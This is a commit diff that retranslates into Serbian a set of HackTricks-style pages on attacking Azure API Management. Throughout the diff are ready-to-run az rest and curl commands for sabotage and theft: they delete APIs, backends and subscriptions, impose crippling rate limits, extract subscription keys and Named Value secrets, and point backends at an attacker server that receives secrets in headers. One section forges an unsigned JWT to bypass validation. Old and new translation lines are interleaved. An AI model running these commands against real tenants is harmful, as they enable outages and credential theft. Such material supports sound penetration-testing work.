Translated ['', 'src/pentesting-cloud/azure-security/az-post-exploitatio

This commit is contained in:
Translator
2025-12-26 18:52:44 +00:00
parent 65a3fe6278
commit 4bbcddc78b
3 changed files with 40 additions and 40 deletions

View File

@@ -3,7 +3,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`
Napadač može iskoristiti više vektora da prouzrokuje denial of service. Da bi blokirao legitimni saobraćaj, napadač dodaje rate-limiting i quota politike sa ekstremno niskim vrednostima, čime se efektivno onemogućava normalan pristup:
Napadač može iskoristiti više vektora da izazove denial of service. Da bi blokirao legitimni saobraćaj, napadač dodaje rate-limiting i quota policies sa ekstremno niskim vrednostima, efektivno sprečavajući normalan pristup:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
@@ -15,7 +15,7 @@ az rest --method PUT \
}
}'
```
Da bi blokirao određene legitimne klijentske IP adrese, napadač može dodati politike filtriranja IP-a koje odbacuju zahteve sa odabranih adresa:
Da bi blokirao određene legitimne IP adrese klijenata, napadač može dodati politike filtriranja IP adresa koje odbijaju zahteve sa odabranih adresa:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
@@ -28,7 +28,7 @@ az rest --method PUT \
}'
```
## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete`
Da bi prouzrokovao neuspeh zahteva, napadač može izmeniti konfiguraciju backend-a i promeniti njegov URL u nevažeću ili nedostupnu adresu:
Da bi zahtevi propadali, napadač može izmeniti konfiguraciju backenda i promeniti njegov URL u neispravnu ili nedostupnu adresu:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -47,14 +47,14 @@ az rest --method DELETE \
--headers "If-Match=*"
```
## `Microsoft.ApiManagement/service/apis/delete`
Da bi učinio kritične APIs nedostupnim, napadač ih može direktno izbrisati iz API Management service:
Da bi kritične API-je učinio nedostupnim, napadač ih može direktno izbrisati iz API Management service:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
--headers "If-Match=*"
```
## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
Da bi blokirao pristup sa Interneta, napadač može onemogućiti javni pristup mreži na API Management service:
## `Microsoft.ApiManagement/service/write` ili `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
Da bi blokirao pristup sa Interneta, napadač može onemogućiti public network access na API Management service:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
@@ -66,7 +66,7 @@ az rest --method PATCH \
}'
```
## `Microsoft.ApiManagement/service/subscriptions/delete`
Da bi blokirao pristup legitimnim korisnicima, napadač može obrisati API Management subscriptions:
Da bi blokirao pristup legitimnim korisnicima, napadač može izbrisati pretplate u API Management-u:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \

View File

@@ -4,26 +4,26 @@
## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`
Napad se sastoji u pristupu osetljivim secrets koji su pohranjeni u Azure API Management Named Values bilo direktnim preuzimanjem vrednosti secrets ili zloupotrebom dozvola kako bi se pribavili Key Vaultbacked secrets putem managed identities.
Napad se sastoji u pristupu osetljivim tajnama pohranjenim u Azure API Management Named Values, bilo direktnim dohvaćanjem vrednosti tajni ili zloupotrebom dozvola za pribavljanje Key Vaultbacked tajni pomoću managed identities.
```bash
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
```
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
Za svaku subscription napadač može dobiti subscription keys koristeći listSecrets endpoint pomoću POST metode:
Za svaku subscription, napadač može dobiti subscription keys koristeći listSecrets endpoint sa POST metodom:
```bash
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
```
Odgovor sadrži subscription primary key (primaryKey) i secondary key (secondaryKey). Pomoću ovih ključeva attacker može da se autentifikuje i pristupi API-jevima objavljenim kroz API Management Gateway:
Odgovor uključuje primarni ključ pretplate (primaryKey) i sekundarni ključ (secondaryKey). Sa ovim ključevima, napadač može da se autentifikuje i pristupi API-jevima objavljenim preko API Management Gateway:
```bash
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>
```
Napadač može pristupiti svim API-jevima i proizvodima povezanim sa pretplatom. Ako pretplata ima pristup osetljivim proizvodima ili API-jevima, napadač može pribaviti poverljive informacije ili izvršiti neovlašćene operacije.
Napadač može pristupiti svim API-ima i proizvodima povezanim sa pretplatom. Ako pretplata ima pristup osetljivim proizvodima ili API-ima, napadač može pribaviti poverljive informacije ili izvršiti neovlašćene operacije.
## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write`
Napadač prvo preuzima trenutnu API politiku:
Napadač prvo preuzima trenutnu politiku API-ja:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
@@ -49,7 +49,7 @@ Napadač može izmeniti politiku na više načina u zavisnosti od svojih ciljeva
</on-error>
</policies>
```
Da ukloni rate limiting controls i omogući denial-of-service napade, napadač može ukloniti ili zakomentarisati quota i rate-limit policies:
Da bi uklonio kontrole rate-limiting-a i omogućio denial-of-service napade, napadač može ukloniti ili komentarisati quota i rate-limit politike:
```xml
<policies>
<inbound>
@@ -61,7 +61,7 @@ Da ukloni rate limiting controls i omogući denial-of-service napade, napadač m
...
</policies>
```
Da biste izmenili backend rutu i preusmerili saobraćaj na attacker-controlled server:
Da biste izmenili backend rutu i preusmerili saobraćaj na server pod kontrolom napadača:
```xml
<policies>
...
@@ -84,23 +84,23 @@ az rest --method PUT \
}
}'
```
## JWT: pogrešna konfiguracija validacije
## JWT Validation Misconfiguration
Napadač mora znati da API koristi validaciju JWT tokena i da je politika pogrešno konfigurisana. Loše konfigurisana politika validacije JWT može imati `require-signed-tokens="false"` ili `require-expiration-time="false"`, što omogućava servisu da prihvati nepotpisane tokene ili tokene koji nikada ne ističu.
Napadač treba da zna da API koristi JWT token validation i da je politika pogrešno konfigurisana. Loše konfigurisane JWT validation politike mogu imati `require-signed-tokens="false"` ili `require-expiration-time="false"`, što omogućava servisu da prihvati unsigned tokens ili tokens that never expire.
Napadač kreira zlonamerni JWT token koristeći none algoritam (nepotpisan):
Napadač kreira zlonamerni JWT token koristeći none algorithm (unsigned):
```
# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
```
Napadač šalje zahtev ka API-ju koristeći zlonamerni token:
Napadač šalje zahtev API-ju koristeći zlonamerni token:
```bash
curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path
```
Ako je politika pogrešno konfigurisana sa `require-signed-tokens="false"`, servis će prihvatiti nepotpisani token. Napadač takođe može kreirati token bez izjave o isteku ako je `require-expiration-time="false"`.
Ako je politika pogrešno konfigurisana sa `require-signed-tokens="false"`, servis će prihvatiti token bez potpisa. Napadač takođe može kreirati token bez claim-a o isteku ako je `require-expiration-time="false"`.
## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
Napadač prvo proverava trenutnu mrežnu konfiguraciju servisa:
@@ -108,9 +108,9 @@ Napadač prvo proverava trenutnu mrežnu konfiguraciju servisa:
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
```
Napadač pregledava JSON odgovor da bi proverio vrednosti `publicNetworkAccess` i `virtualNetworkType`. Ako je `publicNetworkAccess` postavljen na false ili je `virtualNetworkType` postavljen na Internal, servis je konfigurisan za privatni pristup.
Napadač pregleda JSON odgovor da bi proverio vrednosti `publicNetworkAccess` i `virtualNetworkType`. Ako je `publicNetworkAccess` postavljen na false ili je `virtualNetworkType` postavljen na Internal, servis je konfigurisan za privatni pristup.
Da bi izložio servis Internetu, napadač mora promeniti oba podešavanja. Ako servis radi u internom režimu (`virtualNetworkType: "Internal"`), napadač ga menja na None ili External i omogućava pristup javnoj mreži. Ovo se može uraditi korišćenjem Azure Management API:
Da bi izložio servis Internetu, napadač mora promeniti oba podešavanja. Ako servis radi u internom režimu (`virtualNetworkType: "Internal"`), napadač ga menja u None ili External i omogućava javni pristup mreži. Ovo se može uraditi korišćenjem Azure Management API-ja:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
@@ -122,20 +122,20 @@ az rest --method PATCH \
}
}'
```
Kada je `virtualNetworkType` postavljen na `None` ili `External` i `publicNetworkAccess` je omogućen, servis i svi njegovi API-ji postaju dostupni sa Interneta, čak i ako su prethodno bili zaštićeni iza privatne mreže ili privatnih krajnjih tačaka.
Kada je `virtualNetworkType` postavljen na `None` ili `External` i `publicNetworkAccess` omogućen, servis i svi njegovi API-ji postaju dostupni sa Interneta, čak i ako su prethodno bili zaštićeni iza privatne mreže ili private endpoints.
## `Microsoft.ApiManagement/service/backends/write`
Napadač prvo enumeriše postojeće backende kako bi identifikovao koji treba izmeniti:
Napadač prvo izlistava postojeće backende da bi identifikovao koji treba izmeniti:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
```
Napadač preuzima trenutnu konfiguraciju backend-a koju želi da izmeni:
Napadač preuzima trenutnu konfiguraciju backenda koji želi da izmeni:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
```
Napadač menja backend URL tako da pokazuje na server pod njegovom kontrolom. Prvo dobiju ETag iz prethodnog odgovora, a zatim ažuriraju backend:
Napadač menja backend URL kako bi pokazivao na server pod svojom kontrolom. Prvo dobiju ETag iz prethodnog odgovora, a zatim ažuriraju backend:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -148,7 +148,7 @@ az rest --method PUT \
}
}'
```
Alternativno, napadač može да конфигурише backend headers да exfiltrate Named Values који садрже тајне. Ово се ради кроз backend credentials configuration:
Alternativno, napadač može da konfiguriše backend headers da exfiltrate Named Values koji sadrže tajne. Ovo se radi kroz backend credentials configuration:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -165,6 +165,6 @@ az rest --method PUT \
}
}'
```
Sa ovom konfiguracijom, Named Values se šalju kao headers u svim zahtevima ka backendu koji kontroliše napadač, omogućavajući eksfiltraciju osetljivih tajni.
Uz ovu konfiguraciju, Named Values se šalju kao zaglavlja u svim zahtevima ka backendu koji kontroliše napadač, što omogućava eksfiltraciju osetljivih tajni.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,41 +4,41 @@
## Basic Information
Azure API Management (APIM) je potpuno upravljana usluga koja nudi **jedinstvenu platformu za objavljivanje, zaštitu, transformaciju, upravljanje i nadgledanje API-ja**. Omogućava organizacijama da **centralizuju svoju API** strategiju i obezbede dosledno upravljanje, performanse i bezbednost kroz sve svoje servise. Delovanjem kao sloj apstrakcije između backend servisa i potrošača API-ja, APIM pojednostavljuje integraciju i poboljšava održavanje dok pruža ključne operativne i bezbednosne mogućnosti.
Azure API Management (APIM) je potpuno upravljana usluga koja nudi **jedinstvenu platformu za objavljivanje, zaštitu, transformaciju, upravljanje i nadgledanje APIs**. Omogućava organizacijama da **centralizuju svoju API** strategiju i obezbede dosledno upravljanje, performanse i bezbednost za sve svoje servise. Delujući kao apstraktni sloj između backend servisa i potrošača API-ja, APIM pojednostavljuje integraciju i poboljšava održavanje, dok pruža ključne operativne i bezbednosne funkcionalnosti.
## Core Concepts
**The API Gateway** služi kao jedinstvena ulazna tačka za sav API saobraćaj, obavljajući funkcije kao što su rutiranje zahteva ka backend servisima, primena ograničenja brzine, keširanje odgovora i upravljanje autentifikacijom i autorizacijom. Ovaj gateway je potpuno hostovan i upravljan od strane Azure-a, obezbeđujući visoku dostupnost i skalabilnost.
**The API Gateway** služi kao jedinstvena ulazna tačka za sav API saobraćaj, obavljajući funkcije kao što su rutiranje zahteva ka backend servisima, primena ograničenja broja poziva, keširanje odgovora i upravljanje autentifikacijom i autorizacijom. Ovaj gateway je potpuno hostovan i upravljan od strane Azure-a, što obezbeđuje visoku dostupnost i skalabilnost.
**The Developer Portal** pruža samo-uslužno okruženje u kome potrošači API-ja mogu pronaći dostupne API-je, čitati dokumentaciju i testirati endpoint-e. Pomaže u ubrzavanju onboardinga nudeći interaktivne alate i pristup informacijama o pretplatama.
**The Developer Portal** pruža self-service okruženje gde potrošači API-ja mogu otkriti dostupne API-je, čitati dokumentaciju i testirati endpoint-e. Pomaže u ubrzanju onboardinga nudeći interaktivne alate i pristup informacijama o pretplatama.
**The Management Portal (Management Plane)** koriste administratori za konfiguraciju i održavanje APIM servisa. Odatle korisnici mogu definisati API-je i operacije, konfigurisati kontrolu pristupa, primenjivati politike, upravljati korisnicima i organizovati API-je u proizvode. Ovaj portal centralizuje administraciju i obezbeđuje dosledno upravljanje API-jem.
**The Management Portal (Management Plane)** koriste administratori za konfigurisanje i održavanje APIM servisa. Odatle korisnici mogu definisati API-je i operacije, konfigurisati kontrolu pristupa, primenjivati politike, upravljati korisnicima i organizovati API-je u proizvode. Ovaj portal centralizuje administraciju i obezbeđuje dosledno upravljanje API-jem.
## Authentication and Authorization
Azure API Management podržava nekoliko **mehanizama autentifikacije** za zaštitu pristupa API-ju. To uključuje **subscription keys**, **OAuth 2.0 tokens** i **client certificates**. APIM se takođe nativno integriše sa **Microsoft Entra ID**, omogućavajući upravljanje identitetima na nivou preduzeća i siguran pristup kako API-jima tako i backend servisima.
Azure API Management podržava više mehanizama autentifikacije za zaštitu pristupa API-ju. To uključuje **subscription keys**, **OAuth 2.0 tokens** i **client certificates**. APIM se takođe integriše nativno sa **Microsoft Entra ID**, omogućavajući enterprise-level upravljanje identitetom i siguran pristup kako API-jima tako i backend servisima.
## Policies
Policies u APIM omogućavaju administratorima da prilagode **obradu zahteva i odgovora** na različitim nivoima granularnosti, uključujući nivo **service**, **API**, **operation** ili **product**. Kroz politike moguće je primeniti **JWT token validation**, **transform XML or JSON payloads**, **apply rate limiting**, **restrict calls by IP address**, ili **authenticate against backend services using managed identities**. Politike su **izuzetno fleksibilne** i predstavljaju jednu od **ključnih snaga** platforme API Management, omogućavajući **preciznu kontrolu ponašanja u runtime-u** bez izmene backend koda.
Policies u APIM omogućavaju administratorima da prilagode **obradu zahteva i odgovora** na različitim granularnostima, uključujući nivo **service**, **API**, **operation**, ili **product**. Kroz policies moguće je primeniti **JWT token validation**, transformisati XML ili JSON payload-e, primeniti rate limiting, ograničiti pozive po IP adresi ili autentifikovati prema backend servisima koristeći managed identities. Policies su **veoma fleksibilne** i predstavljaju jednu od **ključnih prednosti** API Management platforme, omogućavajući **finu kontrolu izvršnog ponašanja** bez izmene backend koda.
## Named Values
Servis pruža mehanizam nazvan **Named Values**, koji omogućava čuvanje **konfiguracionih informacija** kao što su **secrets**, **API keys**, ili druge vrednosti potrebne politikama.
Servis pruža mehanizam nazvan **Named Values**, koji omogućava čuvanje **konfiguracionih informacija** kao što su **secrets**, **API keys**, ili druge vrednosti potrebne policies.
Ove vrednosti mogu biti sačuvane direktno u APIM-u ili bezbedno referencirane iz **Azure Key Vault**. Named Values promovišu **sigurno i centralizovano upravljanje** konfiguracionim podacima i pojednostavljuju pisanje politika omogućavajući **reusable references** umesto hardkodovanih vrednosti.
Ove vrednosti se mogu čuvati direktno unutar APIM-a ili bezbedno referencirati iz **Azure Key Vault**. Named Values podstiču **bezbedno i centralizovano upravljanje** konfiguracionim podacima i pojednostavljuju pisanje policies omogućavajući **ponovo upotrebljive reference** umesto hardkodiranih vrednosti.
## Networking and Security Integration
Azure API Management se besprekorno integriše sa **virtual network environments**, omogućavajući **privatnu i sigurnu povezanost** sa backend sistemima.
Azure API Management se besprekorno integriše sa **virtual network environments**, omogućavajući **privatnu i sigurnu konektivnost** do backend sistema.
Kada je deploy-ovan unutar **Virtual Network (VNet)**, APIM može pristupiti **internal services** bez izlaganja istih javno. Servis takođe omogućava konfiguraciju **custom certificates** za podršku **mutual TLS authentication** sa backend servisima, poboljšavajući bezbednost u scenarijima gde je potrebna **snažna validacija identiteta**.
Kada je deploy-ovan unutar **Virtual Network (VNet)**, APIM može pristupiti **internim servisima** bez njihove javne izloženosti. Servis takođe omogućava konfigurisanje **custom certificates** za podršku **mutual TLS authentication** sa backend servisima, poboljšavajući bezbednost u scenarijima gde je potrebna **stroga validacija identiteta**.
Ove **networking features** čine APIM pogodnim za oba slučaja — **cloud-native** i **hybrid architectures**.
Ove **mrežne funkcionalnosti** čine APIM pogodnim kako za **cloud-native**, tako i za **hybrid architectures**.
### Enumeracija
### Enumerate
Da biste enumerisali API Management servis:
Za enumeraciju APIM servisa:
```bash
# Lists all Named Values configured in the Azure API Management instance
az apim nv list --resource-group <resource-group> --service-name <service-name>